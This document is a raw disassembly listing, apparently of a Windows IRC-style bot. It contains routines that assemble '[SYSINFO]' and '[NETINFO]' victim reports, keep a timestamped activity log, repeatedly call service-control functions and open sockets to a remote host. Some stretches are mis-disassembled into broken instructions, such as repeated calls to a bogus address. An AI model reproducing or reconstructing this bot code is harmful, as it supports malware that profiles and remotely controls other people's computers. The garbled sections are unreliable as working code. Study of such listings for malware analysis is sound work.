mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_42FA9C
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_413B2A
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_408E5A endp
; =============== S U B R O U T I N E =======================================
sub_408EC3 proc near ; CODE XREF: sub_408F79+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_408ECB: ; CODE XREF: sub_408EC3+2Fj
; sub_408EC3+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call ds:dword_41F058 ; Sleep
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_415370
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_408ECB
jb short loc_408EFA
cmp ebx, esi
ja short loc_408ECB
loc_408EFA: ; CODE XREF: sub_408EC3+31j
push 0
push 64h
push edi
push ebx
call sub_4152F0
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_408F6D
jb short loc_408F19
cmp esi, 50h
jnb short loc_408F1E
loc_408F19: ; CODE XREF: sub_408EC3+4Fj
push 4Bh
xor edx, edx
pop eax
loc_408F1E: ; CODE XREF: sub_408EC3+54j
test ecx, ecx
ja short loc_408F6D
jb short loc_408F29
cmp esi, 47h
jnb short loc_408F2E
loc_408F29: ; CODE XREF: sub_408EC3+5Fj
push 42h
xor edx, edx
pop eax
loc_408F2E: ; CODE XREF: sub_408EC3+64j
test ecx, ecx
ja short loc_408F6D
jb short loc_408F39
cmp esi, 37h
jnb short loc_408F3E
loc_408F39: ; CODE XREF: sub_408EC3+6Fj
push 32h
xor edx, edx
pop eax
loc_408F3E: ; CODE XREF: sub_408EC3+74j
test ecx, ecx
ja short loc_408F6D
jb short loc_408F49
cmp esi, 26h
jnb short loc_408F4E
loc_408F49: ; CODE XREF: sub_408EC3+7Fj
push 21h
xor edx, edx
pop eax
loc_408F4E: ; CODE XREF: sub_408EC3+84j
test ecx, ecx
ja short loc_408F6D
jb short loc_408F59
cmp esi, 1Eh
jnb short loc_408F5E
loc_408F59: ; CODE XREF: sub_408EC3+8Fj
push 19h
xor edx, edx
pop eax
loc_408F5E: ; CODE XREF: sub_408EC3+94j
test ecx, ecx
ja short loc_408F6D
jb short loc_408F69
cmp esi, 0Ah
jnb short loc_408F6D
loc_408F69: ; CODE XREF: sub_408EC3+9Fj
xor eax, eax
xor edx, edx
loc_408F6D: ; CODE XREF: sub_408EC3+4Dj
; sub_408EC3+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_408EC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408F79 proc near ; CODE XREF: seg000:0041077Ep
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_42E348
mov [ebp+var_CC], 94h
call ds:dword_41F0FC ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_409000
cmp [ebp+var_C4], ebx
jnz short loc_408FDC
cmp [ebp+var_BC], 1
jnz short loc_408FC6
mov [ebp+var_4], offset a95 ; "95"
loc_408FC6: ; CODE XREF: sub_408F79+44j
cmp [ebp+var_BC], 2
jnz loc_40907B
mov [ebp+var_4], offset aNt ; "NT"
jmp short loc_40904C
; ---------------------------------------------------------------------------
loc_408FDC: ; CODE XREF: sub_408F79+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_408FEE
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_409043
; ---------------------------------------------------------------------------
loc_408FEE: ; CODE XREF: sub_408F79+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_40903C
mov [ebp+var_4], offset aMe ; "ME"
jmp short loc_409043
; ---------------------------------------------------------------------------
loc_409000: ; CODE XREF: sub_408F79+33j
cmp [ebp+var_C8], 5
jnz short loc_40903C
cmp [ebp+var_C4], ebx
jnz short loc_40901A
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_409043
; ---------------------------------------------------------------------------
loc_40901A: ; CODE XREF: sub_408F79+96j
cmp [ebp+var_C4], 1
jnz short loc_40902C
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_409043
; ---------------------------------------------------------------------------
loc_40902C: ; CODE XREF: sub_408F79+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_409043
loc_40903C: ; CODE XREF: sub_408F79+7Cj
; sub_408F79+8Ej
mov [ebp+var_4], offset dword_427868
loc_409043: ; CODE XREF: sub_408F79+73j
; sub_408F79+85j ...
cmp [ebp+var_BC], 2
jnz short loc_40907B
loc_40904C: ; CODE XREF: sub_408F79+61j
cmp [ebp+var_B8], bl
jz short loc_40907B
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_427860
push eax
call sub_4135AD
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_40907B: ; CODE XREF: sub_408F79+54j
; sub_408F79+D1j ...
mov ax, ds:word_42785C
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, ds:dword_42F5F4
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_4090B4
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C] ; CODE XREF: sub_408F79+1A4j
push ecx
call eax ; dword_42F5F4
loc_4090B4: ; CODE XREF: sub_408F79+12Cj
push [ebp+arg_4]
call sub_408619
pop ecx
push eax
call ds:dword_42F748
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call ds:dword_42F6C0
cmp eax, ebx
jz short loc_4090DD
push dword ptr [eax]
jmp short loc_4090E2
; ---------------------------------------------------------------------------
loc_4090DD: ; CODE XREF: sub_408F79+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_4090E2: ; CODE XREF: sub_408F79+162j
lea eax, [ebp+var_3E4]
push eax
call sub_4135AD
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call near ptr 0A70000h
sahf
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call near ptr 0A70000h
jnb short near ptr loc_4090AB+1
test [esi+edi*8+466AFFFFh], esp
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call near ptr 0A70000h
shr dword ptr [edx+20h], 1
lea eax, [ebp+var_38]
push ebx
push eax
call sub_413630
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call near ptr 0A70000h
das
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_4153D8
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_40A7B6
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_408E5A
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_408619
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_40A6A6
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_40A6A6
pop ecx
pop ecx
push eax
call sub_408EC3
push edx
push eax
push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
push 200h
push [ebp+arg_0]
call sub_413B2A
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_408F79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40922D proc near ; CODE XREF: seg000:0040F77Dp
; seg000:004107ACp
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_413630
add esp, 0Ch
cmp ds:dword_42F7F0, 0
jnz short loc_4092A1
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call ds:dword_42F5D8
test eax, eax
jnz short loc_409282
lea eax, [ebp+var_8C]
push offset dword_4278DC
push eax
call sub_4135AD
pop ecx
pop ecx
loc_409282: ; CODE XREF: sub_40922D+40j
test [ebp+var_C], 1
jz short loc_40929A
push offset dword_4278D4
loc_40928D: ; CODE XREF: sub_40922D+72j
lea eax, [ebp+var_8]
push eax
call sub_4135AD
pop ecx
pop ecx
jmp short loc_4092C0
; ---------------------------------------------------------------------------
loc_40929A: ; CODE XREF: sub_40922D+59j
push offset dword_4278D0
jmp short loc_40928D
; ---------------------------------------------------------------------------
loc_4092A1: ; CODE XREF: sub_40922D+28j
mov esi, offset off_4278CC
lea eax, [ebp+var_8]
push esi
push eax
call sub_4135AD
lea eax, [ebp+var_8C]
push esi
push eax
call sub_4135AD
add esp, 10h
loc_4092C0: ; CODE XREF: sub_40922D+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_408619
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h
push [ebp+arg_0]
call sub_413B2A
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_40922D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4092F3 proc near ; DATA XREF: seg000:0040F952o
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_427A20
call sub_413630
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_413630
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_413630
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_413630
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_413630
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call ds:dword_42F610
test eax, eax
jz loc_40948D
cmp [ebp+var_34], ebx
jbe short loc_4093CA
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_414DD0
add esp, 0Ch
loc_4093CA: ; CODE XREF: sub_4092F3+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_4093E8
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_414DD0
add esp, 0Ch
loc_4093E8: ; CODE XREF: sub_4092F3+DEj
cmp [ebp+var_20], ebx
jbe short loc_409402
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_414DD0
add esp, 0Ch
loc_409402: ; CODE XREF: sub_4092F3+F8j
cmp [ebp+var_18], ebx
jbe short loc_40941C
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_414DD0
add esp, 0Ch
loc_40941C: ; CODE XREF: sub_4092F3+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push ds:dword_42F6B8
call ds:dword_42F6DC
mov esi, eax
cmp esi, ebx
jz short loc_4094A5
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call ds:dword_42F6D0
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_4094AC
push ebx
push ebx
push ebx
push ebx
push eax
call ds:dword_42F684
test eax, eax
jz short loc_409486
push offset dword_4279F0
jmp short loc_4094B1
; ---------------------------------------------------------------------------
loc_409486: ; CODE XREF: sub_4092F3+18Aj
push offset unk_4279A0
jmp short loc_4094B1
; ---------------------------------------------------------------------------
loc_40948D: ; CODE XREF: sub_4092F3+B7j
lea eax, [ebp+var_55C]
push offset dword_427970
push eax
call sub_4135AD
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_4094BF
; ---------------------------------------------------------------------------
loc_4094A5: ; CODE XREF: sub_4092F3+153j
push offset unk_427930
jmp short loc_4094B1
; ---------------------------------------------------------------------------
loc_4094AC: ; CODE XREF: sub_4092F3+17Bj
push offset unk_4278EC
loc_4094B1: ; CODE XREF: sub_4092F3+191j
; sub_4092F3+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_4135AD
pop ecx
pop ecx
loc_4094BF: ; CODE XREF: sub_4092F3+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_4094EA
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_4110B0
add esp, 14h
loc_4094EA: ; CODE XREF: sub_4092F3+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_409615
pop ecx
push esi
call ds:dword_42F73C
push [ebp+var_4]
call ds:dword_42F73C
push [ebp+var_1D8]
call sub_413375
pop ecx
push ebx
call near ptr 0A70000h
jmp far ptr 0EC8Bh:555B5E5Fh ; CODE XREF: seg000:0040F6B0p
sub_4092F3 endp
; ---------------------------------------------------------------------------
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov esi, offset dword_433B18
mov edi, 0B8h
loc_409531: ; CODE XREF: seg000:00409550j
cmp byte ptr [esi], 0
jz short loc_409554
push dword ptr [ebp+8]
push esi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_409554
inc dword ptr [ebp-4]
add esi, edi
cmp esi, offset dword_434698
jl short loc_409531
jmp short loc_409596
; ---------------------------------------------------------------------------
loc_409554: ; CODE XREF: seg000:00409534j
; seg000:00409543j
mov esi, [ebp-4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_433B18[esi]
push ebx
call sub_413630
push 17h
push dword ptr [ebp+8]
push ebx
call sub_414DD0
push 9Fh
lea eax, dword_433B30[esi]
push dword ptr [ebp+0Ch]
push eax
call sub_414DD0
add esp, 24h
inc ds:dword_4283B8
pop ebx
loc_409596: ; CODE XREF: seg000:00409552j
mov eax, [ebp-4]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40959D proc near ; CODE XREF: seg000:004108E7p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_427A30
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 14h
xor edi, edi
mov esi, offset dword_433B18
loc_4095C7: ; CODE XREF: sub_40959D+72j
cmp byte ptr [esi], 0
jz short loc_409602
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_427A24
lea eax, [ebp+var_200]
push 200h
push eax
call sub_413B2A
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 2Ch
loc_409602: ; CODE XREF: sub_40959D+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_434698
jl short loc_4095C7
pop edi
pop esi
leave
retn
sub_40959D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409615 proc near ; CODE XREF: start+97p
; seg000:004013C6p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call ds:dword_41F054 ; GetLocalTime
mov ebx, offset dword_433AD4
mov edi, 80h
mov esi, offset dword_42FAD4
loc_409637: ; CODE XREF: sub_409615+3Dj
cmp byte ptr [ebx], 0
jz short loc_40964E
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_414DD0
add esp, 0Ch
loc_40964E: ; CODE XREF: sub_409615+25j
sub ebx, edi
cmp ebx, esi
jge short loc_409637
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_413B2A
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_409615 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409689 proc near ; CODE XREF: sub_4060A6+15Bp
; seg000:004063DDp ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41551F
lea eax, [ebp+var_80]
push eax
call sub_409615
add esp, 14h
leave
retn
sub_409689 endp
; =============== S U B R O U T I N E =======================================
sub_4096B5 proc near ; CODE XREF: seg000:004107E1p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_42FAD4
xor ecx, ecx
loc_4096BC: ; CODE XREF: sub_4096B5+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_433AD4
jl short loc_4096BC
cmp [esp+arg_C], ecx
push esi
mov esi, offset dword_427A64
jnz short loc_4096EC
push ecx
push [esp+8+arg_8]
push esi
push [esp+10h+arg_4]
push [esp+14h+arg_0]
call sub_4110B0
add esp, 14h
loc_4096EC: ; CODE XREF: sub_4096B5+1Fj
push esi
call sub_409615
pop ecx
pop esi
retn
sub_4096B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4096F5 proc near ; DATA XREF: seg000:00410891o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_409748
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_427ACC
push eax
push [ebp+var_11C]
call sub_4110B0
add esp, 14h
loc_409748: ; CODE XREF: sub_4096F5+33j
cmp [ebp+var_98], 0
jz short loc_409768
lea eax, [ebp+var_98]
push eax
call sub_413B1F
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_409768
mov [ebp+var_8], eax
loc_409768: ; CODE XREF: sub_4096F5+5Aj
; sub_4096F5+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_42FAD4
loc_409771: ; CODE XREF: sub_4096F5+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_4097CB
cmp byte ptr [esi], 0
jz short loc_4097BA
cmp [ebp+var_98], 0
jz short loc_4097A0
cmp [ebp+var_4], 0
jnz short loc_4097A0
lea eax, [ebp+var_98]
push eax
push esi
call sub_407FEA
pop ecx
test eax, eax
pop ecx
jz short loc_4097BA
loc_4097A0: ; CODE XREF: sub_4096F5+90j
; sub_4096F5+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_4110B0
add esp, 14h
loc_4097BA: ; CODE XREF: sub_4096F5+87j
; sub_4096F5+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_433AD4
jl short loc_409771
loc_4097CB: ; CODE XREF: sub_4096F5+82j
lea eax, [ebp+var_31C]
push offset dword_427A9C
push eax
call sub_4135AD
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_409805
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_4110B0
add esp, 14h
loc_409805: ; CODE XREF: sub_4096F5+EEj
lea eax, [ebp+var_31C]
push eax
call sub_409615
push [ebp+var_18]
call sub_413375
pop ecx
pop ecx
push esi
call near ptr 0A70000h
jnz short near ptr loc_40987E+4
pop esi
sub_4096F5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409824 proc near ; CODE XREF: sub_4082BD+1Ep
; sub_409894+4p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_427AF8
xor esi, esi
mov ebx, offset dword_4282AC
loc_409837: ; CODE XREF: sub_409824+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call ds:dword_42F6BC
cmp [ebp+arg_0], esi
jz short loc_409871
push [ebp+arg_0]
call sub_413DB0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call ds:dword_42F72C
jmp short loc_40987B
; ---------------------------------------------------------------------------
loc_409871: ; CODE XREF: sub_409824+2Fj
push ebx
push [ebp+var_4]
call ds:dword_42F674
loc_40987B: ; CODE XREF: sub_409824+4Bj
push [ebp+var_4]
loc_40987E: ; CODE XREF: sub_4096F5+12Cj
call ds:dword_42F6E4
add edi, 8
cmp edi, offset dword_427B10
jl short loc_409837
pop edi
pop esi
pop ebx
leave
retn
sub_409824 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409894 proc near ; CODE XREF: sub_409894+16j
; DATA XREF: seg000:0040AED5o
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_409824
pop ecx
push ds:dword_427AF0
call ds:dword_41F058 ; Sleep
jmp short sub_409894
sub_409894 endp
; =============== S U B R O U T I N E =======================================
sub_4098AC proc near ; CODE XREF: sub_4098E7+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4098E1
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_4098C5: ; CODE XREF: sub_4098AC+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, ds:dword_41F254[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_4098C5
pop edi
pop ebx
loc_4098E1: ; CODE XREF: sub_4098AC+Ej
mov eax, esi
pop esi
not eax
retn
sub_4098AC endp
; =============== S U B R O U T I N E =======================================
sub_4098E7 proc near ; CODE XREF: seg000:0040A3C7p
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_413E5F
mov [esp+10h+var_10], offset aRb ; "rb"
push [esp+10h+arg_0]
mov esi, eax
call sub_413CA8
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_409936
loc_40990C: ; CODE XREF: sub_4098E7+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_40993A
inc ebx
push ebx
push esi
call sub_41556F
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_409936
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_414C40
add esp, 10h
jmp short loc_40990C
; ---------------------------------------------------------------------------
loc_409936: ; CODE XREF: sub_4098E7+23j
; sub_4098E7+39j
xor eax, eax
jmp short loc_409955
; ---------------------------------------------------------------------------
loc_40993A: ; CODE XREF: sub_4098E7+29j
dec ebx
push ebx
push esi
call sub_4098AC
push esi
mov ebx, eax
call sub_413ED3
push edi
call sub_413C00
add esp, 10h
mov eax, ebx
loc_409955: ; CODE XREF: sub_4098E7+51j
pop edi
pop esi
pop ebx
retn
sub_4098E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409959 proc near ; CODE XREF: seg000:00409A12p
; sub_409F42+BCp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call ds:dword_42F788
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_4099D5
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_413630
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call ds:dword_42F708
push [ebp+arg_0]
mov [ebp+var_E], ax
call ds:dword_42F748
cmp eax, esi
jnz short loc_4099BA
push [ebp+arg_0]
call ds:dword_42F78C
test eax, eax
jz short loc_4099D5
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_4099BA: ; CODE XREF: sub_409959+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call ds:dword_42F6B0
cmp eax, esi
jnz short loc_4099D9
push edi
call ds:dword_42F7A0
loc_4099D5: ; CODE XREF: sub_409959+1Bj
; sub_409959+58j
mov eax, esi
jmp short loc_4099DB
; ---------------------------------------------------------------------------
loc_4099D9: ; CODE XREF: sub_409959+73j
mov eax, edi
loc_4099DB: ; CODE XREF: sub_409959+7Ej
pop edi
pop esi
leave
retn
sub_409959 endp
; ---------------------------------------------------------------------------
loc_4099DF: ; DATA XREF: seg000:0040BDD4o
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_413E30
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1B4h]
rep movsd
push 1
pop esi
push dword ptr [ebp-14h]
mov [eax+1B0h], esi
lea eax, [ebp-1ACh]
push eax
call sub_409959
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short near ptr loc_409A71+1
lea eax, [ebp-11B4h]
push offset dword_427B9C
push eax
call sub_4135AD
xor edi, edi
pop ecx
cmp [ebp-8], edi
pop ecx
jnz short loc_409A55
push edi
lea eax, [ebp-11B4h]
push dword ptr [ebp-0Ch]
push eax
lea eax, [ebp-94h]
push eax
push ebx
call sub_4110B0
add esp, 14h
loc_409A55: ; CODE XREF: seg000:00409A38j
lea eax, [ebp-11B4h]
push eax
call sub_409615
push dword ptr [ebp-10h]
call sub_413375
pop ecx
pop ecx
push esi
